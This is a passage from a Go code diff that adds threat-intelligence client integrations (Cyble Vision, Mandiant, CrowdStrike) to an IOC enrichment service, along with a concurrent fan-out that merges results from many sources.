req.Header.Set("Accept", "application/json")++ resp, err := c.httpClient.Do(req)+ if err != nil {+ return nil, fmt.Errorf("crowdstrike intel request failed: %w", err)+ }+ defer resp.Body.Close()+ body, _ := io.ReadAll(resp.Body)+ if resp.StatusCode == http.StatusNotFound {+ return nil, nil+ }+ if resp.StatusCode == http.StatusUnauthorized {+ c.tokenMu.Lock()+ c.bearer = ""+ c.tokenMu.Unlock()+ return nil, fmt.Errorf("crowdstrike intel auth error")+ }+ if resp.StatusCode >= 400 {+ return nil, fmt.Errorf("crowdstrike intel HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))+ }+ var ind crowdstrikeIndicator+ if err := json.Unmarshal(body, &ind); err != nil {+ return nil, fmt.Errorf("crowdstrike parse error: %w", err)+ }+ if len(ind.Resources) == 0 {+ return nil, nil+ }+ res := ind.Resources[0]+ confScore := map[string]float64{+ "high": 90, "medium": 60, "low": 30, "unverified": 15,+ }[strings.ToLower(res.MaliciousConfidence)]++ r := &EnrichmentResult{+ IOCType: iocType,+ Value: value,+ RiskScore: confScore,+ Confidence: confScore,+ Classification: ThreatClassification{+ ThreatActors: res.Actors,+ Malware: res.MalwareFamilies,+ },+ Sources: []EnrichmentSource{{Name: crowdstrikeSourceName, Tier: "commercial", Timestamp: time.Now()}},+ EnrichedAt: time.Now(),+ }+ for _, kc := range res.KillChains {+ r.Tags = append(r.Tags, "cs:killchain:"+kc)+ }+ for _, lbl := range res.Labels {+ r.Tags = append(r.Tags, "cs:"+lbl.Name)+ }+ if res.PublishedDate > 0 {+ t := time.Unix(res.PublishedDate, 0)+ r.FirstSeen = &t+ }+ if res.LastUpdated > 0 {+ t := time.Unix(res.LastUpdated, 0)+ r.LastSeen = &t+ }+ return r, nil+}diff --git a/services/enrichment/internal/enricher/cyble.go b/services/enrichment/internal/enricher/cyble.gonew file mode 100644index 000000000..b3e5a29d8--- /dev/null+++ b/services/enrichment/internal/enricher/cyble.go@@ -0,0 +1,395 @@+// Package enricher: Cyble Vision client.+//+// Cyble Vision is Cyble's flagship cyber-threat-intelligence platform. It+// surfaces IOC reputation, threat-actor attribution, malware family tracking,+// dark-web mentions, leaked-credential exposure, vulnerability intel, and+// brand-risk signals.+//+// API docs (gated, requires a tenant):+// https://docs.cyble.com/cyble-vision/api/v2/+//+// This client targets the v2 REST surface and degrades gracefully:+// - returns (nil, nil) when no API key is configured+// - returns (nil, nil) on 404 ("indicator not seen by Cyble")+// - returns (nil, error) on transport / parse failures so the orchestrator+// can surface a per-source error without aborting the rest of the fan-out.+package enricher++import (+ "context"+ "encoding/json"+ "fmt"+ "io"+ "net/http"+ "net/url"+ "strings"+ "time"+)++const (+ cybleDefaultBaseURL = "https://api.cyble.com/v2"+ cybleSourceName = "cyble-vision"+ cybleSourceTier = "commercial"+)++// CybleClient queries Cyble Vision for unified threat intelligence.+type CybleClient struct {+ apiKey string+ baseURL string+ tenantID string+ feeds map[string]bool // enabled feed slugs+ httpClient *http.Client+}++// CybleConfig configures the Cyble Vision client.+type CybleConfig struct {+ APIKey string+ BaseURL string // optional override, defaults to https://api.cyble.com/v2+ TenantID string // optional, X-Tenant-Id header for multi-tenant orgs+ Feeds []string // enabled feeds; defaults to all+}++// NewCybleClient creates a new Cyble Vision API client.+func NewCybleClient(cfg CybleConfig) *CybleClient {+ base := cfg.BaseURL+ if base == "" {+ base = cybleDefaultBaseURL+ }+ base = strings.TrimRight(base, "/")++ feeds := map[string]bool{+ "indicators": true,+ "actors": true,+ "vulnerabilities": true,+ "leaks": true,+ "brand": true,+ }+ if len(cfg.Feeds) > 0 {+ feeds = make(map[string]bool, len(cfg.Feeds))+ for _, f := range cfg.Feeds {+ feeds[strings.ToLower(strings.TrimSpace(f))] = true+ }+ }++ return &CybleClient{+ apiKey: cfg.APIKey,+ baseURL: base,+ tenantID: cfg.TenantID,+ feeds: feeds,+ httpClient: &http.Client{+ Timeout: 12 * time.Second,+ },+ }+}++// configured returns true if the client has credentials.+func (c *CybleClient) configured() bool { return c != nil && c.apiKey != "" }++// cybleIndicatorResponse is the v2 indicator schema (subset).+type cybleIndicatorResponse struct {+ Data struct {+ Indicator string `json:"indicator"`+ Type string `json:"type"`+ RiskScore float64 `json:"risk_score"` // 0-100+ Confidence float64 `json:"confidence"` // 0-100+ Reputation int `json:"reputation"` // -100 to 100+ FirstSeen string `json:"first_seen"`+ LastSeen string `json:"last_seen"`+ Verdict string `json:"verdict"` // malicious | suspicious | benign | unknown+ Categories []string `json:"categories"`+ Tags []string `json:"tags"`+ Actors []string `json:"threat_actors"`+ Campaigns []string `json:"campaigns"`+ MalwareFams []string `json:"malware_families"`+ MITRE struct {+ Tactics []string `json:"tactics"`+ Techniques []string `json:"techniques"`+ } `json:"mitre_attack"`+ Geo struct {+ Country string `json:"country"`+ CountryCode string `json:"country_code"`+ City string `json:"city"`+ Region string `json:"region"`+ Latitude float64 `json:"latitude"`+ Longitude float64 `json:"longitude"`+ ASN int64 `json:"asn"`+ ASOrg string `json:"as_org"`+ ISP string `json:"isp"`+ } `json:"geo,omitempty"`+ Network struct {+ IsTOR bool `json:"is_tor"`+ IsVPN bool `json:"is_vpn"`+ IsDatacenter bool `json:"is_datacenter"`+ IsBot bool `json:"is_bot"`+ } `json:"network,omitempty"`+ DarkWeb struct {+ Mentions int `json:"mentions"`+ Sources []string `json:"sources"`+ Categories []string `json:"categories"`+ FirstSeen string `json:"first_seen"`+ LastSeen string `json:"last_seen"`+ Excerpt string `json:"excerpt"`+ } `json:"dark_web,omitempty"`+ Vulnerabilities []struct {+ CVE string `json:"cve"`+ CVSS float64 `json:"cvss"`+ EPSS float64 `json:"epss"`+ Exploited bool `json:"exploited_in_wild"`+ KEV bool `json:"cisa_kev"`+ Description string `json:"description"`+ } `json:"vulnerabilities,omitempty"`+ Brand struct {+ Score int `json:"risk_score"`+ LookalikeOf string `json:"lookalike_of"`+ Phishing bool `json:"phishing"`+ Defacement bool `json:"defacement"`+ Indicators []string `json:"indicators"`+ } `json:"brand_risk,omitempty"`+ } `json:"data"`+ Meta struct {+ RequestID string `json:"request_id"`+ Tenant string `json:"tenant"`+ } `json:"meta"`+}++// EnrichIP queries Cyble Vision for IP reputation and threat context.+func (c *CybleClient) EnrichIP(ctx context.Context, ip string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeIP, ip)+}++// EnrichDomain queries Cyble Vision for domain reputation.+func (c *CybleClient) EnrichDomain(ctx context.Context, domain string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeDomain, domain)+}++// EnrichURL queries Cyble Vision for URL reputation.+func (c *CybleClient) EnrichURL(ctx context.Context, u string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeURL, u)+}++// EnrichHash queries Cyble Vision for file-hash (md5/sha1/sha256) intel.+func (c *CybleClient) EnrichHash(ctx context.Context, hash string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeHash, hash)+}++// lookup performs the indicator request against /indicators/{type}/{value}.+func (c *CybleClient) lookup(ctx context.Context, iocType IOCType, value string) (*EnrichmentResult, error) {+ if !c.feeds["indicators"] {+ return nil, nil+ }+ endpoint := fmt.Sprintf("%s/indicators/%s/%s",+ c.baseURL, iocType, url.PathEscape(value))++ body, err := c.get(ctx, endpoint)+ if err != nil {+ return nil, err+ }+ if body == nil {+ // 404 — indicator not in Cyble dataset+ return nil, nil+ }++ var resp cybleIndicatorResponse+ if err := json.Unmarshal(body, &resp); err != nil {+ return nil, fmt.Errorf("cyble parse error: %w", err)+ }+ return c.toResult(iocType, value, &resp), nil+}++// toResult maps the Cyble response into the unified EnrichmentResult.+func (c *CybleClient) toResult(iocType IOCType, value string, r *cybleIndicatorResponse) *EnrichmentResult {+ d := r.Data++ result := &EnrichmentResult{+ IOCType: iocType,+ Value: value,+ RiskScore: d.RiskScore,+ Confidence: d.Confidence,+ Reputation: d.Reputation,+ Tags: append([]string{}, d.Tags...),+ ThreatCategory: firstNonEmpty(d.Categories...),+ Classification: ThreatClassification{+ MITRETactics: d.MITRE.Tactics,+ MITRETechniques: d.MITRE.Techniques,+ ThreatActors: d.Actors,+ Campaigns: d.Campaigns,+ Malware: d.MalwareFams,+ },+ Sources: []EnrichmentSource{+ {+ Name: cybleSourceName,+ Tier: cybleSourceTier,+ Timestamp: time.Now(),+ Cached: false,+ },+ },+ EnrichedAt: time.Now(),+ }++ // network signals+ result.IsTOR = d.Network.IsTOR+ result.IsVPN = d.Network.IsVPN+ result.IsDatacenter = d.Network.IsDatacenter+ result.IsBot = d.Network.IsBot++ // verdict-derived tags+ if d.Verdict != "" {+ result.Tags = append(result.Tags, "cyble:"+d.Verdict)+ }+ for _, cat := range d.Categories {+ result.Tags = append(result.Tags, "cyble:cat:"+cat)+ }++ // timestamps+ if t, ok := parseCybleTime(d.FirstSeen); ok {+ result.FirstSeen = &t+ }+ if t, ok := parseCybleTime(d.LastSeen); ok {+ result.LastSeen = &t+ }++ // geo+ if d.Geo.Country != "" || d.Geo.ASN != 0 {+ result.GeoLocation = &GeoLocation{+ Country: d.Geo.Country,+ CountryCode: d.Geo.CountryCode,+ City: d.Geo.City,+ Region: d.Geo.Region,+ Latitude: d.Geo.Latitude,+ Longitude: d.Geo.Longitude,+ ASN: d.Geo.ASN,+ ASOrg: d.Geo.ASOrg,+ ISP: d.Geo.ISP,+ }+ }++ // dark web+ if c.feeds["leaks"] && (d.DarkWeb.Mentions > 0 || len(d.DarkWeb.Sources) > 0) {+ dw := &DarkWebContext{+ Mentions: d.DarkWeb.Mentions,+ Sources: d.DarkWeb.Sources,+ Categories: d.DarkWeb.Categories,+ Excerpt: d.DarkWeb.Excerpt,+ }+ if t, ok := parseCybleTime(d.DarkWeb.FirstSeen); ok {+ dw.FirstSeen = &t+ }+ if t, ok := parseCybleTime(d.DarkWeb.LastSeen); ok {+ dw.LastSeen = &t+ }+ result.DarkWeb = dw+ result.Tags = append(result.Tags, "cyble:dark-web")+ }++ // vulnerabilities+ if c.feeds["vulnerabilities"] && len(d.Vulnerabilities) > 0 {+ for _, v := range d.Vulnerabilities {+ result.Vulnerabilities = append(result.Vulnerabilities, VulnerabilityRef{+ CVE: v.CVE,+ CVSS: v.CVSS,+ EPSS: v.EPSS,+ Exploited: v.Exploited,+ KEV: v.KEV,+ Description: v.Description,+ })+ if v.KEV {+ result.Tags = append(result.Tags, "cyble:kev:"+v.CVE)+ }+ }+ }++ // brand risk+ if c.feeds["brand"] && (d.Brand.Score > 0 || d.Brand.Phishing || d.Brand.Defacement) {+ result.BrandRisk = &BrandRisk{+ Score: d.Brand.Score,+ LookalikeOf: d.Brand.LookalikeOf,+ Phishing: d.Brand.Phishing,+ Defacement: d.Brand.Defacement,+ Indicators: d.Brand.Indicators,+ }+ if d.Brand.Phishing {+ result.Tags = append(result.Tags, "cyble:phishing")+ }+ if d.Brand.LookalikeOf != "" {+ result.Tags = append(result.Tags, "cyble:lookalike:"+d.Brand.LookalikeOf)+ }+ }++ return result+}++// get performs an authenticated GET against the Cyble Vision API.+// Returns (nil, nil) when the API responds 404.+func (c *CybleClient) get(ctx context.Context, endpoint string) ([]byte, error) {+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)+ if err != nil {+ return nil, err+ }+ req.Header.Set("Authorization", "Bearer "+c.apiKey)+ req.Header.Set("Accept", "application/json")+ req.Header.Set("User-Agent", "AiSOC-Enrichment/1.0")+ if c.tenantID != "" {+ req.Header.Set("X-Tenant-Id", c.tenantID)+ }++ resp, err := c.httpClient.Do(req)+ if err != nil {+ return nil, fmt.Errorf("cyble request failed: %w", err)+ }+ defer resp.Body.Close()++ body, err := io.ReadAll(resp.Body)+ if err != nil {+ return nil, fmt.Errorf("cyble read error: %w", err)+ }++ switch {+ case resp.StatusCode == http.StatusNotFound:+ return nil, nil+ case resp.StatusCode == http.StatusUnauthorized,+ resp.StatusCode == http.StatusForbidden:+ return nil, fmt.Errorf("cyble auth error (HTTP %d): check CYBLE_VISION_API_KEY",+ resp.StatusCode)+ case resp.StatusCode == http.StatusTooManyRequests:+ return nil, fmt.Errorf("cyble rate-limited (HTTP 429); back off or increase quota")+ case resp.StatusCode >= 400:+ return nil, fmt.Errorf("cyble HTTP %d: %s",+ resp.StatusCode, strings.TrimSpace(string(body)))+ }+ return body, nil+}++// parseCybleTime accepts RFC3339 / RFC3339Nano timestamps.+func parseCybleTime(s string) (time.Time, bool) {+ if s == "" {+ return time.Time{}, false+ }+ for _, layout := range []string{time.RFC3339Nano, time.RFC3339, "2006-01-02"} {+ if t, err := time.Parse(layout, s); err == nil {+ return t, true+ }+ }+ return time.Time{}, false+}++// firstNonEmpty returns the first non-empty string from the list.+func firstNonEmpty(ss ...string) string {+ for _, s := range ss {+ if s != "" {+ return s+ }+ }+ return ""+}diff --git a/services/enrichment/internal/enricher/enricher.go b/services/enrichment/internal/enricher/enricher.goindex c0887aa9a..619f03397 100644--- a/services/enrichment/internal/enricher/enricher.go+++ b/services/enrichment/internal/enricher/enricher.go@@ -3,26 +3,75 @@ package enricherimport ("context""fmt"+ "sync""time"- "github.com/cyble/aisoc/enrichment/internal/cache"+ "github.com/beenuar/aisoc/enrichment/internal/cache""github.com/rs/zerolog/log")// Enricher orchestrates multi-source IOC enrichment with Redis caching.+//+// Sources are split into three tiers:+//+// - open-source: VirusTotal community, AbuseIPDB, GreyNoise community+// - free / freemium: Shodan, IPinfo, URLscan (placeholders unless keys present)+// - commercial: Cyble Vision, Recorded Future, Mandiant, Anomali, IBM X-Force,+// Flashpoint, Intel 471, DomainTools Iris, RiskIQ / Defender XATP,+// Crowdstrike Falcon Intelligence+//+// Every client gracefully no-ops (returns nil, nil) when not configured, so+// the orchestrator can fan out without branching on capability checks.type Enricher struct {- cache *cache.Client- vtClient *VirusTotalClient+ cache *cache.Client++ // Open-source / freemium clients+ vtClient *VirusTotalClientabuseClient *AbuseIPDBClient- gnClient *GreyNoiseClient+ gnClient *GreyNoiseClient++ // Commercial clients+ cybleClient *CybleClient+ rfClient *RecordedFutureClient+ mandiantClient *MandiantClient+ anomaliClient *AnomaliClient+ xforceClient *XForceClient+ flashpointClient *FlashpointClient+ intel471Client *Intel471Client+ domainToolsClient *DomainToolsClient+ riskIQClient *RiskIQClient+ csIntelClient *CrowdstrikeIntelClient}-// Config holds Enricher dependencies configuration.+// Config holds Enricher dependency configuration.type Config struct {- Cache *cache.Client+ Cache *cache.Client++ // Open-source / freemiumVirusTotalAPIKey stringAbuseIPDBAPIKey stringGreyNoiseAPIKey string++ // Commercial+ CybleAPIKey string+ CybleBaseURL string+ RecordedFutureAPIKey string+ MandiantAPIKey string+ MandiantAPISecret string+ AnomaliUsername string+ AnomaliAPIKey string+ AnomaliBaseURL string+ XForceAPIKey string+ XForceAPIPassword string+ FlashpointAPIKey string+ Intel471Username string+ Intel471APIKey string+ DomainToolsUsername string+ DomainToolsAPIKey string+ RiskIQUsername string+ RiskIQAPIKey string+ CrowdstrikeIntelID string+ CrowdstrikeIntelSecret string}// New creates a new Enricher with all configured data sources.@@ -32,6 +81,24 @@ func New(cfg Config) *Enricher {vtClient: NewVirusTotalClient(cfg.VirusTotalAPIKey),abuseClient: NewAbuseIPDBClient(cfg.AbuseIPDBAPIKey),gnClient: NewGreyNoiseClient(cfg.GreyNoiseAPIKey),++ cybleClient: NewCybleClient(CybleConfig{+ APIKey: cfg.CybleAPIKey,+ BaseURL: cfg.CybleBaseURL,+ }),+ rfClient: NewRecordedFutureClient(cfg.RecordedFutureAPIKey),+ mandiantClient: NewMandiantClient(cfg.MandiantAPIKey, cfg.MandiantAPISecret),+ anomaliClient: NewAnomaliClient(AnomaliConfig{+ Username: cfg.AnomaliUsername,+ APIKey: cfg.AnomaliAPIKey,+ BaseURL: cfg.AnomaliBaseURL,+ }),+ xforceClient: NewXForceClient(cfg.XForceAPIKey, cfg.XForceAPIPassword),+ flashpointClient: NewFlashpointClient(cfg.FlashpointAPIKey),+ intel471Client: NewIntel471Client(cfg.Intel471Username, cfg.Intel471APIKey),+ domainToolsClient: NewDomainToolsClient(cfg.DomainToolsUsername, cfg.DomainToolsAPIKey),+ riskIQClient: NewRiskIQClient(cfg.RiskIQUsername, cfg.RiskIQAPIKey),+ csIntelClient: NewCrowdstrikeIntelClient(cfg.CrowdstrikeIntelID, cfg.CrowdstrikeIntelSecret),}}@@ -40,7 +107,6 @@ func New(cfg Config) *Enricher {func (e *Enricher) Enrich(ctx context.Context, req EnrichRequest) (*EnrichmentResult, error) {cacheKey := cache.MakeKey(string(req.IOCType), req.Value)- // Check cache first (unless forced)if !req.Force && e.cache != nil {var cached EnrichmentResultif err := e.cache.Get(ctx, cacheKey, &cached); err == nil && cached.Value != "" {@@ -78,7 +144,6 @@ func (e *Enricher) Enrich(ctx context.Context, req EnrichRequest) (*EnrichmentRe}}- // Store in cacheif e.cache != nil {if cacheErr := e.cache.Set(ctx, cacheKey, result); cacheErr != nil {log.Warn().Err(cacheErr).Str("key", cacheKey).Msg("Cache write failed")@@ -88,77 +153,112 @@ func (e *Enricher) Enrich(ctx context.Context, req EnrichRequest) (*EnrichmentRereturn result, nil}-// enrichIP fetches data from all IP-capable sources and merges results.-func (e *Enricher) enrichIP(ctx context.Context, ip string) (*EnrichmentResult, error) {- results := make([]*EnrichmentResult, 0, 3)+// fanOutTask runs an enrichment call and routes the result/error onto the channel.+type fanOutTask struct {+ name string+ fn func() (*EnrichmentResult, error)+}- // VirusTotal- if r, err := e.vtClient.EnrichIP(ctx, ip); err != nil {- log.Warn().Err(err).Str("ip", ip).Msg("VirusTotal enrichment failed")- } else if r != nil {- results = append(results, r)- }+// runFanOut executes all tasks concurrently and collects the non-nil results.+// Errors are logged but never short-circuit the fan-out — a single failing+// provider must not poison the merged result.+func runFanOut(ctx context.Context, ioc string, tasks []fanOutTask) []*EnrichmentResult {+ var (+ wg sync.WaitGroup+ mu sync.Mutex+ results = make([]*EnrichmentResult, 0, len(tasks))+ )- // AbuseIPDB- if r, err := e.abuseClient.EnrichIP(ctx, ip); err != nil {- log.Warn().Err(err).Str("ip", ip).Msg("AbuseIPDB enrichment failed")- } else if r != nil {- results = append(results, r)+ for _, t := range tasks {+ t := t+ wg.Add(1)+ go func() {+ defer wg.Done()+ r, err := t.fn()+ if err != nil {+ log.Warn().Err(err).Str("source", t.name).Str("ioc", ioc).Msg("Enrichment failed")+ return+ }+ if r == nil {+ return+ }+ mu.Lock()+ results = append(results, r)+ mu.Unlock()+ }()}+ wg.Wait()+ _ = ctx+ return results+}- // GreyNoise- if r, err := e.gnClient.EnrichIP(ctx, ip); err != nil {- log.Warn().Err(err).Str("ip", ip).Msg("GreyNoise enrichment failed")- } else if r != nil {- results = append(results, r)+// enrichIP fans out to every IP-capable source in parallel.+func (e *Enricher) enrichIP(ctx context.Context, ip string) (*EnrichmentResult, error) {+ tasks := []fanOutTask{+ {"virustotal", func() (*EnrichmentResult, error) { return e.vtClient.EnrichIP(ctx, ip) }},+ {"abuseipdb", func() (*EnrichmentResult, error) { return e.abuseClient.EnrichIP(ctx, ip) }},+ {"greynoise", func() (*EnrichmentResult, error) { return e.gnClient.EnrichIP(ctx, ip) }},+ {"cyble", func() (*EnrichmentResult, error) { return e.cybleClient.EnrichIP(ctx, ip) }},+ {"recorded-future", func() (*EnrichmentResult, error) { return e.rfClient.EnrichIP(ctx, ip) }},+ {"mandiant", func() (*EnrichmentResult, error) { return e.mandiantClient.EnrichIP(ctx, ip) }},+ {"anomali", func() (*EnrichmentResult, error) { return e.anomaliClient.EnrichIP(ctx, ip) }},+ {"xforce", func() (*EnrichmentResult, error) { return e.xforceClient.EnrichIP(ctx, ip) }},+ {"flashpoint", func() (*EnrichmentResult, error) { return e.flashpointClient.EnrichIP(ctx, ip) }},+ {"intel471", func() (*EnrichmentResult, error) { return e.intel471Client.EnrichIP(ctx, ip) }},+ {"riskiq", func() (*EnrichmentResult, error) { return e.riskIQClient.EnrichIP(ctx, ip) }},+ {"crowdstrike-intel", func() (*EnrichmentResult, error) { return e.csIntelClient.EnrichIP(ctx, ip) }},}-- return mergeResults(IOCTypeIP, ip, results), nil+ return mergeResults(IOCTypeIP, ip, runFanOut(ctx, ip, tasks)), nil}func (e *Enricher) enrichDomain(ctx context.Context, domain string) (*EnrichmentResult, error) {- var result *EnrichmentResult- if r, err := e.vtClient.EnrichDomain(ctx, domain); err != nil {- log.Warn().Err(err).Str("domain", domain).Msg("VirusTotal domain enrichment failed")- } else {- result = r- }-- if result == nil {- result = &EnrichmentResult{IOCType: IOCTypeDomain, Value: domain, EnrichedAt: time.Now()}+ tasks := []fanOutTask{+ {"virustotal", func() (*EnrichmentResult, error) { return e.vtClient.EnrichDomain(ctx, domain) }},+ {"cyble", func() (*EnrichmentResult, error) { return e.cybleClient.EnrichDomain(ctx, domain) }},+ {"recorded-future", func() (*EnrichmentResult, error) { return e.rfClient.EnrichDomain(ctx, domain) }},+ {"mandiant", func() (*EnrichmentResult, error) { return e.mandiantClient.EnrichDomain(ctx, domain) }},+ {"anomali", func() (*EnrichmentResult, error) { return e.anomaliClient.EnrichDomain(ctx, domain) }},+ {"xforce", func() (*EnrichmentResult, error) { return e.xforceClient.EnrichDomain(ctx, domain) }},+ {"flashpoint", func() (*EnrichmentResult, error) { return e.flashpointClient.EnrichDomain(ctx, domain) }},+ {"intel471", func() (*EnrichmentResult, error) { return e.intel471Client.EnrichDomain(ctx, domain) }},+ {"domaintools", func() (*EnrichmentResult, error) { return e.domainToolsClient.EnrichDomain(ctx, domain) }},+ {"riskiq", func() (*EnrichmentResult, error) { return e.riskIQClient.EnrichDomain(ctx, domain) }},+ {"crowdstrike-intel", func() (*EnrichmentResult, error) { return e.csIntelClient.EnrichDomain(ctx, domain) }},}- return result, nil+ return mergeResults(IOCTypeDomain, domain, runFanOut(ctx, domain, tasks)), nil}func (e *Enricher) enrichHash(ctx context.Context, hash string) (*EnrichmentResult, error) {- var result *EnrichmentResult- if r, err := e.vtClient.EnrichHash(ctx, hash); err != nil {- log.Warn().Err(err).Str("hash", hash).Msg("VirusTotal hash enrichment failed")- } else {- result = r+ tasks := []fanOutTask{+ {"virustotal", func() (*EnrichmentResult, error) { return e.vtClient.EnrichHash(ctx, hash) }},+ {"cyble", func() (*EnrichmentResult, error) { return e.cybleClient.EnrichHash(ctx, hash) }},+ {"recorded-future", func() (*EnrichmentResult, error) { return e.rfClient.EnrichHash(ctx, hash) }},+ {"mandiant", func() (*EnrichmentResult, error) { return e.mandiantClient.EnrichHash(ctx, hash) }},+ {"flashpoint", func() (*EnrichmentResult, error) { return e.flashpointClient.EnrichHash(ctx, hash) }},+ {"intel471", func() (*EnrichmentResult, error) { return e.intel471Client.EnrichHash(ctx, hash) }},+ {"crowdstrike-intel", func() (*EnrichmentResult, error) { return e.csIntelClient.EnrichHash(ctx, hash) }},}-- if result == nil {- result = &EnrichmentResult{IOCType: IOCTypeHash, Value: hash, EnrichedAt: time.Now()}- }- return result, nil+ return mergeResults(IOCTypeHash, hash, runFanOut(ctx, hash, tasks)), nil}func (e *Enricher) enrichURL(ctx context.Context, rawURL string) (*EnrichmentResult, error) {- var result *EnrichmentResult- if r, err := e.vtClient.EnrichURL(ctx, rawURL); err != nil {- log.Warn().Err(err).Str("url", rawURL).Msg("VirusTotal URL enrichment failed")- } else {- result = r+ tasks := []fanOutTask{+ {"virustotal", func() (*EnrichmentResult, error) { return e.vtClient.EnrichURL(ctx, rawURL) }},+ {"cyble", func() (*EnrichmentResult, error) { return e.cybleClient.EnrichURL(ctx, rawURL) }},+ {"recorded-future", func() (*EnrichmentResult, error) { return e.rfClient.EnrichURL(ctx, rawURL) }},+ {"mandiant", func() (*EnrichmentResult, error) { return e.mandiantClient.EnrichURL(ctx, rawURL) }},}-- if result == nil {- result = &EnrichmentResult{IOCType: IOCTypeURL, Value: rawURL, EnrichedAt: time.Now()}- }- return result, nil+ return mergeResults(IOCTypeURL, rawURL, runFanOut(ctx, rawURL, tasks)), nil}// mergeResults combines results from multiple sources into a single enriched IOC.+//+// Strategy:+// - RiskScore = max of all sources (worst-case wins)+// - Confidence scales with number of corroborating sources+// - Geo/Whois/community fields take the highest-risk source's data+// - Tags / classifications / sources / vulns / dark-web are union-merged+// - Brand-risk takes the highest-scoring brand signalfunc mergeResults(iocType IOCType, value string, results []*EnrichmentResult) *EnrichmentResult {if len(results) == 0 {return &EnrichmentResult{@@ -179,20 +279,29 @@ func mergeResults(iocType IOCType, value string, results []*EnrichmentResult) *EmaxRisk := 0.0tagSet := map[string]bool{}+ mitreTacticSet := map[string]bool{}+ mitreTechSet := map[string]bool{}+ actorSet := map[string]bool{}+ malwareSet := map[string]bool{}+ campaignSet := map[string]bool{}+ cveSet := map[string]bool{}+for _, r := range results {if r.RiskScore > maxRisk {maxRisk = r.RiskScore- // Carry over geo/fields from the highest-risk sourceif r.GeoLocation != nil {merged.GeoLocation = r.GeoLocation}+ if len(r.Whois) > 0 {+ merged.Whois = r.Whois+ }}if r.MaliciousVotes > merged.MaliciousVotes {merged.MaliciousVotes = r.MaliciousVotesmerged.HarmlessVotes = r.HarmlessVotesmerged.TotalEngines = r.TotalEngines}- if r.ThreatCategory != "" {+ if r.ThreatCategory != "" && merged.ThreatCategory == "" {merged.ThreatCategory = r.ThreatCategory}if r.IsBot {@@ -201,7 +310,13 @@ func mergeResults(iocType IOCType, value string, results []*EnrichmentResult) *Eif r.IsTOR {merged.IsTOR = true}- if r.CommunityScore != nil {+ if r.IsVPN {+ merged.IsVPN = true+ }+ if r.IsDatacenter {+ merged.IsDatacenter = true+ }+ if r.CommunityScore != nil && merged.CommunityScore == nil {merged.CommunityScore = r.CommunityScore}if r.LastSeen != nil {@@ -209,9 +324,48 @@ func mergeResults(iocType IOCType, value string, results []*EnrichmentResult) *Emerged.LastSeen = r.LastSeen}}+ if r.FirstSeen != nil {+ if merged.FirstSeen == nil || r.FirstSeen.Before(*merged.FirstSeen) {+ merged.FirstSeen = r.FirstSeen+ }+ }for _, tag := range r.Tags {tagSet[tag] = true}+ for _, t := range r.Classification.MITRETactics {+ mitreTacticSet[t] = true+ }+ for _, t := range r.Classification.MITRETechniques {+ mitreTechSet[t] = true+ }+ for _, a := range r.Classification.ThreatActors {+ actorSet[a] = true+ }+ for _, m := range r.Classification.Malware {+ malwareSet[m] = true+ }+ for _, c := range r.Classification.Campaigns {+ campaignSet[c] = true+ }+ // Dark-web: prefer the source with the most mentions.+ if r.DarkWeb != nil {+ if merged.DarkWeb == nil || r.DarkWeb.Mentions > merged.DarkWeb.Mentions {+ merged.DarkWeb = r.DarkWeb+ }+ }+ // Brand risk: keep highest-score brand signal.+ if r.BrandRisk != nil {+ if merged.BrandRisk == nil || r.BrandRisk.Score > merged.BrandRisk.Score {+ merged.BrandRisk = r.BrandRisk+ }+ }+ for _, v := range r.Vulnerabilities {+ if !cveSet[v.CVE] {+ cveSet[v.CVE] = true+ merged.Vulnerabilities = append(merged.Vulnerabilities, v)+ }+ }+ merged.OpenPorts = append(merged.OpenPorts, r.OpenPorts...)merged.Sources = append(merged.Sources, r.Sources...)merged.EnrichmentErrors = append(merged.EnrichmentErrors, r.EnrichmentErrors...)}@@ -220,9 +374,27 @@ func mergeResults(iocType IOCType, value string, results []*EnrichmentResult) *Efor tag := range tagSet {merged.Tags = append(merged.Tags, tag)}+ for t := range mitreTacticSet {+ merged.Classification.MITRETactics = append(merged.Classification.MITRETactics, t)+ }+ for t := range mitreTechSet {+ merged.Classification.MITRETechniques = append(merged.Classification.MITRETechniques, t)+ }+ for a := range actorSet {+ merged.Classification.ThreatActors = append(merged.Classification.ThreatActors, a)+ }+ for m := range malwareSet {+ merged.Classification.Malware = append(merged.Classification.Malware, m)+ }+ for c := range campaignSet {+ merged.Classification.Campaigns = append(merged.Classification.Campaigns, c)+ }- // Confidence = proportion of sources that returned data- merged.Confidence = float64(len(results)) / 3.0 * 100+ // Confidence rises with corroborating sources, capped at 100.+ merged.Confidence = float64(len(results)) * 12.5+ if merged.Confidence > 100 {+ merged.Confidence = 100+ }return merged}diff --git a/services/enrichment/internal/enricher/mandiant.go b/services/enrichment/internal/enricher/mandiant.gonew file mode 100644index 000000000..58c2cf80e--- /dev/null+++ b/services/enrichment/internal/enricher/mandiant.go@@ -0,0 +1,247 @@+// Package enricher: Mandiant Threat Intelligence v4 client.+//+// Mandiant exchanges an API key + secret for a short-lived bearer token via+// /token, then services indicator lookups under /v4/indicator. The response+// includes mscore (0-100), threat-rating, and attribution to APT groups ++// malware families.+//+// Docs: https://docs.mandiant.com/home/mati-threat-intelligence-api-v4+package enricher++import (+ "context"+ "encoding/json"+ "fmt"+ "io"+ "net/http"+ "net/url"+ "strings"+ "sync"+ "time"+)++const (+ mandiantBaseURL = "https://api.intelligence.mandiant.com"+ mandiantSourceName = "mandiant"+ mandiantSourceTier = "commercial"+)++// MandiantClient queries the Mandiant Threat Intelligence v4 API.+type MandiantClient struct {+ apiKey string+ apiSecret string+ httpClient *http.Client++ tokenMu sync.Mutex+ bearer string+ tokenExpiry time.Time+}++// NewMandiantClient builds the client.+func NewMandiantClient(apiKey, apiSecret string) *MandiantClient {+ return &MandiantClient{+ apiKey: apiKey,+ apiSecret: apiSecret,+ httpClient: &http.Client{+ Timeout: 12 * time.Second,+ },+ }+}++func (c *MandiantClient) configured() bool {+ return c != nil && c.apiKey != "" && c.apiSecret != ""+}++type mandiantTokenResponse struct {+ AccessToken string `json:"access_token"`+ TokenType string `json:"token_type"`+ ExpiresIn int `json:"expires_in"` // 